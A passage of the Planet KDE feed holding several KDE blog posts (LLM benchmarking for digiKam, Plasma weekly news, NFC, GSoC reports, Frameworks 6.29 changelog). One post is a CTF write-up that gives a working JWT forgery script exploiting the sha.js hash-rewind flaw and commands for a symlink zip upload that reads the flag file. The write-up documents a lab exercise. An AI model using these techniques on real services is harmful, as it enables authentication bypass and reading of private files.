The accuracy drop surprised me until I read the failures. The 3B model over-thinks simple structured tasks. On queries the 1.5B got right cleanly, the larger model would elaborate, add an extra constraint, reformat, second-guess, and break the exact match in the process. It even fumbled a couple of person queries the smaller model handled without blinking. More capacity, spent making a simple task complicated.

And the latency alone disqualifies it. A median of 29 seconds, with the first query taking 73, is simply not something you can put behind an interactive search box. Nobody types "red label photos" and waits half a minute. Even if the 3B had been more accurate, this number would have ended the discussion.

So the comparison brackets the choice from both sides. Too small can't do it. Too big is slower, heavier, and no better, sometimes worse. The 1.5B model sits in the middle and wins on the two things that actually matter together: accuracy and speed. It's not a compromise between them; it's genuinely the best on both among viable options.

Where Qwen still gets things wrong

85% isn't 100%, and the 15% is worth looking at, because it decided the next question.

Qwen's errors aren't scattered. They cluster, tightly, in two places. Orientation: it reads "portrait" as a subject tag rather than an image orientation, and it doesn't map "horizontally" to "landscape." And date structure: occasionally it uses the wrong operator on a date range. That's essentially it. Everything else, ratings, labels, people, places, albums, composite queries with three constraints at once, it handles reliably.

And here's the thing I already knew before the benchmark, now confirmed with numbers: those exact weak spots are the ones the pipeline already handles. Take the "portrait" slip. The model tags it as a subject; but SearchCapabilityDictionary recognises "portrait" as an ambiguous orientation term and maps it to the right field, and SearchIntentResolver validates the whole constraint before anything runs. The model's mistake never reaches the search. The model's blind spots and the pipeline's safety net line up almost perfectly, which is a good sign that the pipeline was built around the right risks.

The question I actually had to answer: fine-tune or not?

My proposal left a decision open for this stage. If the benchmark turned up a recurring class of errors that prompting couldn't fix, I'd spend the time on a lightweight LoRA fine-tune, curate a dataset, train an adapter on Qwen2.5-1.5B, convert it back to GGUF, and re-benchmark. If prompting was already good enough, I'd document that and spend the time on polish instead.

The 3B result is what settled it, and settled it more cleanly than I expected.

The residual errors, orientation and dates, are the same in the 3B model as in the 1.5B. Doubling the parameters didn't fix them. That tells me something specific: these aren't a capacity problem. If they were, a bigger model would have done better on exactly these cases, and it didn't. They're a prompting and vocabulary problem, "portrait" is genuinely ambiguous, "horizontally" is genuinely non-standard, and the fix for that kind of thing is a clearer prompt and a dictionary entry, not more model.

And I already have both. The prompt rules and the dictionary already catch these cases downstream in the real system. So a LoRA would be training a model to fix errors that a bigger model also makes, that aren't about model size, and that the pipeline already handles.

There's a second cost, too, beyond the missing benefit. A fine-tune isn't free to keep. It means maintaining a curated training set, retraining every time the base model updates, and re-running the GGUF conversion each time, real ongoing overhead for the project. For a problem that a prompt line and a dictionary entry already solve, that complexity isn't justified.

So: no fine-tuning. Not because I ran out of time, but because the evidence says it wouldn't help. That feels like the right kind of conclusion to reach, the one backed by the data rather than the one I assumed going in.

One more thing the benchmark showed

There's a category of query where every model, including Qwen, "fails" on paper, and I want to be clear about why that's fine.

Ask any of these models, on their own, to handle "videos longer than 5 minutes" (a field digiKam's search didn't support at the time) or "asdfghjkl" (nonsense), and they guess. They invent a constraint. The raw model does not know how to say "I can't do that", small models are famously bad at refusing, and I wrote about that in the last post too.

But in the actual system, the model never gets the last word. The parser whitelists every field, so an invented field is rejected, not executed. The dictionary flags ambiguity. The model proposing something wrong and the system accepting it are two different events, and the whole architecture exists to keep the second one from happening. The benchmark scoring these as model-level failures is correct, and it's also exactly why the layers around the model are there. A model you can't fully trust is fine, as long as nothing downstream trusts it blindly.

Key takeaways

Where things stand

The model choice is validated, with numbers behind it now instead of a hunch. The benchmark is in the tree at core/tests/llm/, with the dataset, a runner script, and a results write-up, so anyone can reproduce it or extend it with new queries. To run it yourself, see the README there. It's the kind of thing the next person to touch this feature will be glad exists, which is the whole reason it's committed rather than living in a notebook on my laptop.

What's next

17 Aug 2026 12:00am GMT

16 Aug 2026

feedPlanet KDE | English

Vibing fitness tracking

LLM assisted development, vibing, agentic coding - many names for the same thing. The technology has taken huge strides forward and it is interesting to see what it can do. In my mind, one-offs where a solved problem a while ago, and thin vertical applications without too much complexity is another one. To test the last hypothesis, I set out to create a fitness tracker app. Not a Strava competitor, but something that can track weight and other body measurements and correlate it to events (parties, dinners, etc), medication, and the cycle (if the user is a woman).

I decided to go with Claude from Anthropic and their smallest paid plan. The first prompt and some forth and back on the details of the grand plan rendered the first version after four hours spread out over two evenings. Then, after a weeks usage, another hour or so spent on polish.

This means that ~6h in total gave me a usable SPA that can be "installed" to a phone. The thing runs on a VPS under gunicorn and nginx. Frontend is React and backend in Django. Notice that I know nothing of React and some about Django.

So, what are the conclusions? This puts the fun back in development for me. Instead of spending hours fiddling with CSS and other things I'm not comfortable with, I can knock something out. At the same time, I still know enough to be opinionated on the output of the LLM. What it does is that I go and build my small ideas that sit at the back of my mind, instead of having them collecting dust.

In my experience, a framework such as Django does help, as it provides scaffolding and best practices for a lot of things. Also, enforcing a rich collection of tets is helpful (I have 151 frontend tests, 218 backend tests, and a whole bunch of end-to-end tests run using playwright).

What are the pros and cons, then?

Pros:

Cons:

16 Aug 2026 12:28pm GMT

Week 11: Review Feedback, a Correction, and What's Deferred

This is a weekly update from my Google Summer of Code 2026 project with KDE, improving effect widgets in Kdenlive, a free and open source video editor.

Real usability feedback on MR !928

Julius and Bernd both tested the Speed Ramp changes and raised a genuine concern: the panel currently mixes two related but distinct ideas, time remapping (position based) and speed keyframing (rate based), without making clear which one the new curve and keyframe types actually represent.

Bernd sketched an alternative visualization plotting speed directly. Julius pointed out it would show something different from what the current curve shows, a real design question, not a quick fix.

Jean-Baptiste weighed in with a larger proposal: split the Time Remap effect into two distinct UI modes, one for Time Remap as it exists now, and a new, simpler Speed Ramp mode built around MLT's speed_map parameter instead of time_map, switchable via a toggle in the same widget.

Scoping what fits in the time left

That's a real architectural change, not something to rush into the last stretch of the program. Talked it through with Jean-Baptiste and split his suggestions into what's doable now versus what should wait:

Doable now:

Deferred, filed as issue #2231:

A correction along the way

While expanding the type list, tested what the old pre-selector behavior actually serialized as. It turned out to be linear, not discrete, correcting an assumption made earlier in the review thread. Discrete in MLT is a genuinely different shape: the source frame freezes, then jumps at the keyframe boundary, not a gradual ramp that just changes slope abruptly. Flagged the correction on the MR rather than letting it stand.

Also went back and measured which types actually cause the clip to briefly play in reverse on a time map (an overshoot artifact). Only Bounce and Elastic do it in practice, Exponential and Circular measured clean. Updated the MR description to reflect the real numbers instead of the broader guess from a couple weeks ago.

Shipped

What's next

Heading into the final week of the program. Reviewing pending feedback across all three widgets, wrapping up documentation, and preparing the final work product submission.

16 Aug 2026 4:44am GMT

15 Aug 2026

feedPlanet KDE | English

ZipSlip-Stream WriteUp | InCTF 2026 CTF Finals | First and Only Blood

Introduction

This challenge felt tough. Even though I was the only person who solved this challenge, it's also the case that this is the only challenge I was able to solve in 8 hours.

Since there were special protections against the use of AI and LLMs, it felt especially good after solving this challenge.

Okay, so let's start without further ado,

Source code

https://drive.google.com/file/d/1AFEC93XON668Gq5I8eoVTy1gRgTpvN58/view?usp=sharing

Understanding the application

We are given source code of a web application. We can build it locally using docker.

By reading through the source code and playing with the website, we can understand a couple of things:

Subtask 1: Log-in somehow, anyhow!

It's pretty clear we need to be authenticated to do anything in this application. But there's no way for us to sign-up or register in the application and the admin's password is random and there's no way we can guess it.

So we need to dig deeper.

CVE CVE-2025-9288 | sha.js hash rewind

If you try to audit the package versions inside package.json, you'll quickly find that sha.js which uses 2.4.10 has a critical vulnerability.

You can read more about this vulnerability on it's github advisory: https://github.com/advisories/GHSA-95m3-7q98-8xr5

This CVE can be little bit tricky to understand if you are seeing anything like this for the first time, like me.

You should ideally play around with it and try to understand it yourself, but let me give you the gist of it.

We can pass specially crafted data to the library's update function which triggers something known as a hash rewind.

For example, this is how it's normally supposed to be:

> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

But if we do,

> require('sha.js')('sha256').update('foobar').update({ length: -3 }).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Notice how we get the same hashes in both the examples even though the data entered is different? The CVE is that we can pass data of type Object like { length: -offset } and it will rewind the hash function's internal state back by offset times which may cause undefined behavior or hash collisions like in our case. We can even DOS the server by using this technique but it's not useful in our case.

Now, an even harder challenge is to figure out how you could use this to login to the application. I spent 2-3 hours at this step.

If we can travel to the past, let's also try to visit the future

This line is the reason for our whole suffering:

const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

We don't know what secret is. So we can never make expectedSignatureHex to be equal to our own created JWT signature.

After a lot of thinking and trail-and-error, I figured out I could also bite off the signature part in my hash rewind.

> require('sha.js')('sha256').update('foo').update({ length: -5 }).update('xyz').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'
> require('sha.js')('sha256').update('z').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'

Note how I did the -5 in the 1st command and it skipped "xy" and we get the hash for "z" only. We traveled to the future.

We can use this trick to skip the entire secret except the last character. The last character can be one of the 16 hex characters.

const JWT_SECRET = crypto.randomBytes(9).toString('hex');

It will be 18 characters, 9 * 2 = 18.

Therefore, we can craft a brute-force attack with our hash rewind payload. We need to pass the hashes of all the 16 hex characters in the JWT signature and one of them will match and the authentication will be successful.

This is the JS script which will give you all the 16 possible JWT tokens:

const sha = require('sha.js');
const HEADER = { alg: 'HS256' };
const HEADER_json_str_len = JSON.stringify(HEADER).length;
const PAYLOAD = { length: -(HEADER_json_str_len + 18) + 1, exp: Math.floor(Date.now() / 1000) + 100000 };
const CHARSET = '0123456789abcdef';
function genSig(c) {
const hash = sha('sha256');
return hash.update(c).digest('hex');
}
for (let i=0; i < 16; i++) {
const c = CHARSET[i];
const sig = genSig(c);
const jwt = btoa(JSON.stringify(HEADER)) + "." + btoa(JSON.stringify(PAYLOAD)) + "." + sig;
console.log(jwt);
}

Then you can use Burp intruder and pass these tokens in the cookies (cookie name is keycode_signal) and you'll find one of them works.

Subtask 2: ZipSlip??

Now we can upload some files. Since the name of the challenge is "ZipSlip-Stream", you might try the simple ZipSlip but it won't work.

And it will be obvious why it won't work because the Dockerfile installs the latest version of unzip which is 99.99% NOT VULNERABLE to ZipSlip

RUN apt-get update \
&& apt-get install -y unzip \
&& rm -rf /var/lib/apt/lists/*

To be honest, I required a hint at this point by the challenge author.

So the answer is.....

Symlink LFI

You will realize we aren't just limited to uploading zip files. But uploading a web shell won't work since this is an express server.

So we can exfiltrate the flag using a symlink file. But the important part is to keep the symlink inside the zip file.

We know the exact location of the flag, it's in root.

So we do

ln -s ../../../../../../../../../../flag evil
zip -y evil.zip evil

Then we upload this zip file (make sure to keep the name as "zip" to bypass the regex) and BOOM! We can download the flag by visiting our uploaded file. (/uploads/<some_hex>/evil)

If you have any doubts, feel free to put them in the comment section of this blog :)

Thank you,

Ojas

15 Aug 2026 7:25pm GMT

NFC Integration for Plasma Mobile

Following the recent look at the state of GNSS API on Linux Mobile, I did a similar exploration of where we are with the Near Field Communication (NFC) stack.

Use cases

Around NFC there's a whole bunch of interleaved standards and protocols. Trading simplicity for accuracy here there's basically two modes of operation:

Reading static NDEF messages is kind of the "hello world" application here, but practically it's the least relevant one, as QR codes have taken over practically all applications for this, having the better UX.

The smart card approach has more interesting applications:

The by far most common use is probably mobile payment though, but that has a bunch of harder problems to solve than NFC access before we can also have that on mobile Linux.

Orthogonal to that are the roles between the reader and tag/card that's being interacted with. Those are often obvious and fixed, for tags/cards without their own power supply. NFC readers however can also pretend to be tags towards other readers, which is the basis for Host Card Emulation (HCE). That's how mobile payment works, your phone pretends to be a credit card.

What we have

Driver stack

There's two different driver stacks for accessing NFC readers on Linux:

The protocol NFC readers speak on a higher level is fortunately standardized with the NFC Controller Interface (NCI).

Middleware

Next up in the stack we have a service bridging the hardware access to applications. The canonical solution for this on Linux is neard. That provides a D-Bus interface for NFC adapters and tags, similar to e.g. BlueZ does for Bluetooth.

Unfortunately it's in a not particularly convincing state:

Distribution packaging on openSUSE was in a similarly concerning state:

My fix for the startup issue was merged and deployed in less than 24h by the openSUSE team at least, my patches for neard have yet to see any reaction.

There's one potential alternative, nfcd from the SailfishOS team. That seems newer and more active, and seems to have all relevant features. However, it doesn't have a backend for the Linux NFC subsystem, but rather for the Android NFC interface.

Application API

For bringing NFC access into applications then, there's the Qt NFC API. While the API covers everything we need, there's a few practical limitations:

It does come with a decent NDEF parser though, that's useful even when directly talking to neard for everything else.

Applications

Finally we need something to actually make use of NFC in the end. So far there seems to be no integration for any of the Linux mobile platforms. In terms of applications, I'm mainly aware of the following two:

Development Tools

Working with hardware tends to be inconvenient, so before looking at filling gaps in the stack it makes sense to look at development tools. I fortunately have access to a Proxmark3, an open-source hardware device that can work as an NFC reader, emulate an NFC tag/card and monitor the communication between an NFC reader and card. That's very useful functionality, but it doesn't help with making things more convenient, you now have another slightly fragile device to handle.

Photo with Proxmark3 in the lower left corner placed on the NFC reader of a laptop, on the screen of which a notification is displayed.
Proxmark3 emulating a static tag on a Thinkpad NFC reader triggering a KDE notification.

Fortunately, the Linux kernel has support for virtual NCI devices, which we can use for emulating an NFC reader and NFC tags entirely in software. Perfect for testing and reproducability, and doesn't require any kind of physical NFC hardware.

But while the kernel has all necessary infrastructure for this, I haven't found a single user-space tool making use of that so far. So I wrote one. This is fairly basic, but it's at least enough to test power and polling states of readers and to present Type 1 and Type 2 tags with readable and writable memory. That's enough for the basic NDEF use cases, but not for the more advanced applications. The challenging part there would be to write a software emulation for the actual application though, not the NFC/NCI part.

There's a few more things worth investigating:

Platform Integration

Compared to the non-Linux mobile platforms the first thing to notice is that we don't even have a simple switch to turn NFC on or off on your device. So I wrote a Plasma applet for that, inspired by how this is done for Bluetooth.

For Bluetooth this is backed by bluedevil as a daemon process in the user session, likewise we now have neardevil doing this for NFC. This takes care of the following:

Notification after scanning a Bluetooth headset with built-in NFC pairing information.
Bluetooth pairing notification.

This is a prototype at best and there's of course much more that could still be done here, like keeping a tag history, detecting and handing over to tag-specific apps for e.g. your id card, etc. But it's a start at least.

How to continue?

So far this is all based on neard, which means as of right now there's no direct path towards actually supporting the interesting use cases requiring sending and receiving application-specific commands or host card emulation.

There's a few options on how to address this:

"We" here isn't just KDE though, we need something that works for the entire Linux mobile ecosystem, this is shared platform infrastructure which usually has exclusive hardware access, so everyone bringing their own isn't going to work.

Thoughts and input on this highly appreciated!

15 Aug 2026 5:30am GMT

GSoC 2026 Final Wrap-up: Tournaments, Bots, and Voice Chat in Mankala

It has been an incredible 12-week journey contributing to the KDE Community for Google Summer of Code 2026! The guidance and support from my mentors, Benson Muite and Srisharan VS was incredible. Lots of contributions and conversation over this happy period.


Here is a comprehensive summary of what we accomplished this summer:

XMPP Integration in Login and UI updates (Weeks 1-3)

I began by integrating in-game XMPP server registration (following XEP-0077: In-Band Registration), complete with compliance checks to ensure protocol adherence. On the frontend, I redesigned the Profile Page to dynamically fetch profile icons and usernames directly from the user's logged-in XMPP account.

login

Tournaments and Gameplay Enhancements (Weeks 4-7)

I made the core logic and UI for creating XMPP game rooms (XEP-0045: Multi-User Chat) and player invitations. I introduced two major tournament styles: Round-Robin and King of the Hill. To keep matches competitive, I implemented time limits for accepting invites and executing game moves.

Beyond tournaments, the actual gameplay received a massive polish. I added smooth displacement animations so shells transition flawlessly from pit to pit, introduced togglable game music, and finalized flatpak artifact builds to make distribution easier.

tournament

Game Bots for Automation and In-Game Chat (Weeks 8-10)

To ensure players always have an opponent, I developed an API Bot for Mankala that automates gameplay moves, complete with OpenAPI documentation. For human opponents, I implemented a real-time text chat system during multiplayer modes directly over our XMPP architecture.

Real-Time Voice Chat (Weeks 11-12)

Taking inspiration from KDE's Kaidan, I utilized the QXmpp library to implement Jingle (XEP-0167: Jingle RTP Sessions) for media sessions. I designed a C++ VoiceCallManager to listen for incoming Jingle requests, establish peer-to-peer connections, and route audio via QtMultimedia.

The biggest challenge was perfectly syncing the game window with the Jingle state. By exposing properties like call status and remote JIDs to QML, the UI now dynamically hides the text chat and reveals the active voice call layout instantly when a call connects.


Community & Documentation

I had the privilege of giving a talk on Mankala at the ILUGC monthly meetup, adding standard CONTRIBUTING.md / SETUP.md documentation, and setting up a Craft blueprint. I will be asking ILUGC members for feedback on the new builds.

A huge thank you to my mentors and the KDE community for their constant guidance...🚀

15 Aug 2026 12:01am GMT

This Week in Plasma: Bi-Directional RDP Clipboard Sync

Welcome to a new issue of This Week in Plasma!

This week was full of user interface improvements and performance enhancements, and we snuck in a few features as well:

Notable new features

Plasma 6.8

Remote desktop sessions now offer a fully shared clipboard, rather than only sending the server's clipboard to the client. (Nick Haghiri, krdp MR #213)

Notable UI improvements

Plasma 6.8

Events shown in the Digital Clock widget now display their descriptions inline, rather than in a hover tooltip. (Francesco Fortunelli, KDE Bugzilla #429700)

The scrolling speed sliders on System Settings' Mouse and Touchpad pages are now accompanied by spinboxes that permit fine-tuning their speeds. (Wladimir Leuschner, KDE Bugzilla #477745)

Scroll speed spinboxes on System Settings’ Mouse page

Discover now shows all of the external links that apps can set in their metadata. (Taras Oleksyn, KDE Bugzilla #522213)

QBittorrent’s many external links shown in Discover

Interactive UI elements on the logout screen are now only shown on the active monitor, mirroring the same thing on the lock and login screens. And the whole thing now fades in and out faster, too. (Ramil Nurmanov, and Nate Graham, KDE Bugzilla #431382 and kwin MR #9711)

The wallpaper chooser UI that's visible in System Settings and the desktop configuration window now loads in a smoother and less glitchy-looking way. (Artem Grinev, plasma-workspace MR #6892)

The Power & Battery widget's "Manually Block Sleep and Screen Locking" switch is now vertically aligned to its icon. See, KDE really does care about margins and alignment! 😁 (Angel Parra, powerdevil MR #662)

New New
Old Old

Notable bug fixes

Plasma 6.6.7

The Power & Battery widget's tooltip no longer talks about scrolling to change the power mode on systems without either of the power-profiles-daemon or tuned-ppd systems installed and working. (Nate Graham, powerdevil MR #663)

Plasma 6.7.5

Fixed a somewhat common way that Discover could crash on systems using the RPM-OSTree architecture, such as Fedora Kinoite. (Aleix Pol Gonzalez, discover MR #1385)

If the fwupd system service is broken or masked using systemd, the rest of Discover still works as expected. (Tobias Fella, discover MR #1373)

When the Task Manager widget is used with a right-to-left language or its tasks are configured to appear "to the left", the tasks now move to the expected location when manually rearranged by dragging. (Christoph Wolk, KDE Bugzilla #504898)

Custom accent colors defined within wallpapers are once again honored. (Zhora Zmeykin, KDE Bugzilla #514656)

Plasma 6.8

Fixed a case where the remote desktop server could crash when closing a connection. (Wengsheng Tang, krdp MR #189)

Resizing an aspect-ratio-locked window no longer sometimes makes it disappear! (Vlad Zahorodnii, KDE Bugzilla #479547)

The OSD displayed when muting or unmuting microphones using the Microphone Indicator widget now shows the correct icon. (Undef Fox, KDE Bugzilla #472107)

Apps packaged as Flatpaks or using Nix now get pinned to the Task Manager widget in a more robust way, so they're less likely to get broken in the future if the underlying locations of their .desktop files change. (Christoph Wolk, KDE Bugzilla #505066)

The Emoji Selector window now uses the same consistent order for the gendered variants of all emojis, not just some of them. (Tobias Ozór, plasma-desktop MR #3939)

New New
Old Old

The pointer now looks even sharper at absurdly enormous sizes when you shake it for ages and ages. (Vlad Zahorodnii, kwin MR #9176)

Absurdly massive pointer that you’ve been shaking for too long, but at least it’s nice and sharp now

Right-clicking twice on the same pixel of the desktop without moving the pointer no longer shows the wrong context menu the second time. (Christoph Wolk, KDE Bugzilla #504765)

Frameworks 6.30

Fixed a bug that could make KDE Connect consume 100% of a whole CPU core. (David Redondo, KDE Bugzilla #517743)

Very large images on the clipboard no longer sometimes fail to paste successfully. (Zhora Zmeykin, KDE Bugzilla #519651)

Various dialogs throughout KDE software once again properly offer the opportunity to open executable text and script files in a text editor app, working around an upstream change in shared-mime-data which had broken this. (Méven Car, KDE Bugzilla #522948)

Kup 0.11.0

Kup's notification about backup progress no longer erroneously tells you that the backup destination is on your phone that's paired with KDE Connect. (Harald Sitter, KDE Bugzilla #518494)

Notable in performance & technical

Plasma 6.6.7

Added support for monitoring GPU usage for Intel A380 GPUs. (Takahiro Hashimoto, KDE Bugzilla #517334)

Pasting very large PNG images no longer sometimes causes some lagging and stuttering. (Zhora Zmeykin, plasma-workspace MR #6874)

Plasma 6.7.5

KWin now supports more than one wl_data_device, which opens the door to improved drag-and-drop support in Firefox. (Martin Stransky, KDE Bugzilla #521494)

Spectacle is now slightly faster at taking screenshots on vertically flipped screens. (Zhora Zmeykin, kwin MR #9752)

Plasma 6.8

The new kscreenctl tool now supports setting custom CVT timings/modelines. (Vlad Zahorodnii, KDE Bugzilla #517654)

Frameworks 6.30

Reduced the number of times the common Kirigami.Icon component needs to read from the disk while looking for fallback icons. (Jakob Petsovits, kirigami MR #2139)

The Baloo file indexer now correctly ignores Btrfs snapshots that happen to be stored in your home directory, instead of pointlessly trying to index them. (Hadi Chokr, baloo MR #295)

How you can help

KDE has become important in the world, and your time and contributions have helped us get there. As we grow, we need your support to keep KDE sustainable.

Would you like to help put together this weekly report? Introduce yourself in the Matrix room and join the team!

Beyond that, you can help KDE by directly getting involved in any other projects. Donating time is actually more impactful than donating money. Each contributor makes a huge difference in KDE - you are not a number or a cog in a machine! You don't have to be a programmer, either; many other opportunities exist.

You can also help out by making a donation! This helps cover operational costs, salaries, travel expenses for contributors, and in general just keeps KDE bringing Free Software to the world.

To get a new Plasma feature or a bug fix mentioned here

Push a commit to the relevant merge request on invent.kde.org.

15 Aug 2026 12:00am GMT

14 Aug 2026

feedPlanet KDE | English

KDE Ships Frameworks 6.29.0

Friday, 14 August 2026

KDE today announces the release of KDE Frameworks 6.29.0.

This release is part of a series of planned monthly releases making improvements available to developers in a quick and predictable manner.

New in this version

Baloo
Bluez Qt
  • Remove obsolete doxygen file. Commit.
  • Mediatypes.h services.h types.h: provide version macros to consumers. Commit.
  • Fix: resolve race condition in Bluetooth object manager initialization. Commit.
Breeze Icons
  • Add im-matrix icon. Commit.
  • Rename icons for typst mimetype. Commit.
  • Add tab icons for KWin Options KCM. Commit.
  • Add Android App Bundle icons. Commit. Implements improvement #508430
  • Remove inkscape cruft from Android Package Archive icons. Commit.
Extra CMake Modules
  • ECMAddQtDesignerPlugin: fix typo. Commit.
  • Ecm_qtdesignerplugin_widget: fix INITIALIZE_CODE_FROM_VARIABLE been ignored. Commit. Fixes bug #523592
  • Add missing doc link for FindKF6. Commit.
  • Drop Qt5 CI. Commit.
  • Enable gcov-compatible coverage when building with clang. Commit.
  • Ecm_create_qm_loader: fix to listen just to language change of app instance. Commit.
KArchive
  • Kzip: write data in chunks. Commit.
  • Documentation fixes. Commit.
  • Kzip: zip64 write support. Commit. Fixes bug #514117
  • Kzip: use qToLittleEndian. Commit.
  • Kzip: change some ints to qint64 to allow writing zip64 archives. Commit.
  • Kzip: fix opening zip64 archives. Commit.
KCalendarCore
  • Autotests/data/xCalendar-libicalV4 - update reference data for libicalv4. Commit.
  • Add methods for encoding/decoding iCal objects in QMimeData. Commit.
  • Make ScheduleMessage a Q_GADGET. Commit.
  • Remove obsolete doxygen file. Commit.
KCMUtils
  • Kpluginmodel: Only write enabled state when not default. Commit.
  • Run clang-format. Commit.
  • Kcmshell: React to KCModule::representsDefaultsChanged. Commit.
KCodecs
  • [KEncodingProber] Improve const-correctness. Commit.
  • [KEncodingProber] Explicitly initialize some structs. Commit.
  • [KEncodingProber] Replace pointer to SMModel with reference. Commit.
  • [KEncodingProber] Fix broken UTF16 filtering for MBCS. Commit.
  • [KEncodingProber] Fix GB18030 false positive. Commit.
  • [KEncodingProber] Extend unit tests, notably for japanese text. Commit.
  • [KEncodingProber] Shortcut no longer active group probers. Commit.
  • [KEncodingProber] Refactor UnicodeGroupProber. Commit.
  • [KEncodingProber] Refactor Unicode/UTF prober. Commit.
  • [KEncodingProber] Clean up comments and naming for MB mapping. Commit.
  • [KEncodingProber] Make one virtual base method pure virtual. Commit.
  • [KEncodingProber] Remove obsolete padding in state tables. Commit.
  • [KEncodingProber] Replace debug printf with categorized logging output. Commit.
  • [KEncodingProber] Add dedicated logging category. Commit.
  • Remove obsolete doxygen file. Commit.
KCompletion
  • KCompletionBase/KCompletionMatches: move Q_DECLARE_PRIVATE to PRIVATE. Commit.
  • KCompletionBox::eventFilter: minimize code executed when filter not hit. Commit.
KConfig
  • Remove unused variables in KConfig implementation. Commit.
  • Revert "kwindowstatesaverquick: Do not force-show windows". Commit. Fixes bug #522205
  • Add test for KConfigLoader ctor that takes KConfigGroup. Commit.
  • Use Qt for ASCII && alphanumeric detection. Commit.
  • Read config files in system locations before user-writable config files. Commit.
  • Add tests to document status quo. Commit.
  • Kreadconfig: Add option to dump default values. Commit.
  • Kreadconfig: Dump entries sorted by group name/entry key. Commit.
  • Don't change immutable non-default entry when setting default entry. Commit.
  • Add failing tests demonstrating wrong behavior. Commit.
  • Add helper to set/override an environment variable for a test. Commit.
  • Remove obsolete doxygen file. Commit.
  • Always insert deleted key into internal map. Commit. Fixes bug #519481
  • Ensure that deleted default entries are deleted. Commit.
  • Fix generated setters for enum options with UseEnumTypes. Commit.
  • Export StandardAction as Q_ENUM_NS. Commit.
KConfigWidgets
  • Kviewstatemaintainer.h: provide version macros to consumers. Commit.
KContacts
  • Remove dependency on KCoreAddons. Commit.
  • Addresseelist.h: provide version macros to consumers. Commit.
KCoreAddons
  • Kdirwatch: fixme++. Commit.
  • Kdirwatch: sven--. Commit.
  • Kdirwatch: typo--. Commit.
  • Kdirwatch: use certified KDE if style with {}. Commit.
  • KDirWatch: fix/tweak determination of default. Commit.
  • KDirWatch: expose additional verbosity as envvar. Commit.
  • Don't let fromAppStreamFile() modify the application data. Commit.
  • AboutData: Add support for AppStream URLs. Commit.
  • Documentation fixes. Commit.
  • AboutData: Improve fromAppStreamForApplication() usability. Commit.
KCrash
KDav
  • Use CardDAV allprop in multiget address-data. Commit.
  • Make sure network replies are parented to the corresponding job. Commit.
  • Add some debug to DavPrincipalSearchJob. Commit.
  • Add a DavSslUiProxy to allow plugging user interaction for SSL errors. Commit.
  • Network: Setup more strict network policy. Commit.
  • Davitemmodifyjob: Fix redirection. Commit.
  • Davmanager: Add missing doctype to sent XML. Commit.
  • Adapt tests. Commit.
  • Port network management from KIO to QNAM. Commit.
  • Add fetching DavPush data in DavCollectionsFetchJob. Commit.
  • Enums.h: provide version macros to consumers. Commit.
KDeclarative
  • Graphicaleffects: Avoid complicated matrix multiply. Commit.
  • Graphicaleffects: Make shader uniform "buf" identical. Commit.
  • Graphicaleffects: Use "coord" input on lanczos.frag shader. Commit.
  • Graphicaleffects: Fix Lanczos shader path. Commit.
  • Remove obsolete doxygen file. Commit.
KDE Daemon
  • Use correct type for desktop file. Commit.
KDE SU
  • Remove obsolete doxygen file. Commit.
KDNSSD
  • Remove obsolete doxygen file. Commit.
KDocTools
KFileMetaData
  • Autotests/ossfuzz: clone libpng from github to fix unreliable sourceforge downloads. Commit.
  • Fix overflow in extractAudioProperties. Commit.
  • Taglib: Protect against UnknownFrame. Commit.
  • CI: Disable linux-qt6-next while the datetime regression gets fixed. Commit.
  • Types.h: provide version macros to consumers. Commit.
KGlobalAccel
  • Remove obsolete doxygen file. Commit.
KGuiAddons
  • Add missing since information. Commit.
  • Add KSystemClipboard::ownsClipboard. Commit.
  • Waylandclipboard: Properly clean up device and manager. Commit.
  • Kiconutils: Fix overlay emblem size and placement on non-square icons. Commit. See bug #498211
KHolidays
  • Lunarphase.cpp - use the system timezone rather than utc. Commit.
  • Support Hebrew Calendar holidays. Commit. Fixes bug #383896
  • .clang-tidy - update. Commit.
  • Remove obsolete doxygen file. Commit.
KIconThemes
  • Add notes to drop dependency on KWidgetsAddons for KF7. Commit.
KImageformats
  • Autotests: add AVIF and JXL with animation. Commit.
  • KRA/ORA: merged in a single plugin and added metadata support. Commit.
  • Readme: update supported formats. Commit.
  • Test Readme: added JPG support. Commit.
  • Avif: enable decoding of files with invalid EXIF metadata. Commit.
  • Autotests: allow JPG as test source. Commit.
  • QOI: check format only in lowercase. Commit.
  • Ossfuzz: optimize build, collect all HEIF subformats. Commit.
  • Fix HEIC writetest. Commit.
  • Ossfuzz: enable uncompressed codec in libheif. Commit.
  • Heif: declare read support for HIF. Commit.
  • EXIF: add support for Windows Explorer tags. Commit.
  • Heif: increase Maximum number of child boxes limit. Commit.
  • HEIF: keep reader callback table alive. Commit. Fixes bug #523105
  • More HEIF-related tests. Commit.
  • Heif: AVCI saving, JPEG in HEIF read support. Commit.
  • IFF: support for ZIP compressed RGFX. Commit.
KIO
  • UDSEntry: properly mark deprecated, add missing since, fix doc formatting. Commit.
  • WorkerBase: give connectWorker and disconnectWorker back, deprecated. Commit.
  • Kfileitem: iconName make sure not to read settings unless nessary. Commit.
  • Knewfilemenu: minor refactoring. Commit.
  • Kfileitemactions: remove dead code. Commit.
  • Kfileitemactions: Correctly count actionsMenu actions. Commit.
  • Kfileitem: iconName, allow to read .directory files on remote files. Commit.
  • KFileItem: UDS ID changes are not detected in cmp. Commit. See bug #485052
  • KProcessRunner: Handle canonicalPath() returning bogus values. Commit.
  • Knewfilemenu: convert m_popupFiles into a single QUrl. Commit.
  • Fix clang compilation warnings. Commit.
  • StandardThumbnailJob: stamp the device pixel ratio on generated thumbnails. Commit.
  • Knewfilemenu: remove unnecessary qDebug comments. Commit.
  • Knewfilemenu: minor fixes. Commit.
  • Knewfileinfo: add Antti Savolainen in copyright. Commit.
  • Knewfilemenu: determine sort order during parsing and fix supportedMimeTypes. Commit.
  • Test FilePreviewJob::emitPreview output size and device pixel ratio. Commit.
  • FilePreviewJob: regenerate a cached thumbnail that is too small. Commit.
  • Kdirlister: hold three directories in the lister cache, and not for long. Commit.
  • UDSEntry: do not look for a shared value where values cannot repeat. Commit.
  • UDSEntry: size an entry for the fields it holds when loading it. Commit.
  • Kfileplacesmodel: when baloo is disabled don't go anywhere near it. Commit.
  • UDSEntry use two vectors to store fields value. Commit.
